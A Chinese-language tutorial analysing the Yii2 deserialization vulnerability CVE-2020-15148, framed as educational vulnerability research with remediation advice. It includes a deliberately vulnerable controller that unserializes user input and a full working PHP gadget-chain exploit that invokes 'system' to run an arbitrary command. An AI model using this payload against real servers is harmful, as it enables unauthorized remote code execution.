巧用可变函数 绕过 CVE-2020-15148 限制
字数 978 2025-08-20 18:18:05
Yii2框架反序列化漏洞分析与利用教学
1. 漏洞概述
CVE-2020-15148是Yii2框架中的一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现任意代码执行。该漏洞与Laravel框架的反序列化漏洞有相似之处,都利用了PHP的可变函数特性。
2. 前置知识
2.1 Yii2框架基础
Yii2是一个MVC框架,主要特点包括:
- 控制器方法以
action为前缀 - 默认使用
r参数表示路由(如/index.php?r=post/view&id=100) - 支持URL美化
2.2 PHP可变函数
PHP允许将数组作为函数调用,形式为:
$func = array("ClassName", "methodName");
$func(); // 等同于ClassName::methodName()
$func = array(new ClassName, "methodName");
$func(); // 等同于$obj->methodName()
3. 漏洞环境搭建
- 下载Yii2框架源码
- 创建测试控制器
HelloController:
namespace app\controllers;
use Yii;
use yii\web\Controller;
class HelloController extends Controller {
function actionTest() {
$name = Yii::$app->request->get('unserialize');
return unserialize(base64_decode($name));
}
}
- 通过URL访问:
/index.php?r=hello/test&unserialize=[恶意payload]
4. 漏洞利用链分析
4.1 利用链组成
完整的利用链涉及以下类:
- Codeception\Extension\RunProcess - 反序列化入口点,触发
__destruct - Faker\Generator - 通过
__call魔术方法实现方法调用 - yii\log\DbTarget - 提供可控的
export方法调用 - Codeception\Util\XmlBuilder - 辅助类
4.2 关键点
- 利用
RunProcess的__destruct方法触发链式调用 - 通过
Generator的__call方法实现任意方法调用 - 使用
DbTarget的export方法作为跳板 - 最终通过可变函数实现任意代码执行
5. 漏洞利用EXP构造
<?php
// misc
namespace Codeception\Util;
class XmlBuilder {
function __construct() {
$this->__dom__ = 0;
}
}
// poc
namespace yii\log;
class DbTarget {
public $logTable;
}
// __call
namespace Faker;
class Generator {
public $formatters;
}
// __destruct
namespace Codeception\Extension;
use Codeception\Util\XmlBuilder;
use Faker\Generator;
use yii\log\DbTarget;
class RunProcess {
public $processes;
public $output;
}
$g2 = new Generator();
$g2->formatters = [
'quoteTableName' => 'system',
'getTransaction' => [new XmlBuilder(), 'getDom']
];
$col = new DbTarget();
$col->db = $g2;
$col->logTable = 'dir';
$g1 = new Generator();
$g1->formatters = [
'isRunning' => [$col, 'export']
];
$run_process = new RunProcess();
$run_process->processes = [$g1];
echo base64_encode(serialize($run_process));
?>
6. 漏洞修复建议
- 避免直接反序列化用户输入
- 使用白名单限制可反序列化的类
- 更新到Yii2的最新版本
7. 扩展思考
- 该漏洞利用方式与Laravel反序列化漏洞的相似之处
- PHP可变函数在漏洞利用中的多种应用场景
- 如何通过代码审计发现类似的反序列化漏洞
8. 参考资源
- Yii2官方文档
- PHP可变函数官方文档
- CVE-2020-15148漏洞报告
- 先知社区相关分析文章
通过本教学,您应该已经掌握了Yii2框架反序列化漏洞的原理、利用方法及防御措施。在实际应用中,请务必遵守法律法规,仅在授权环境下进行安全测试。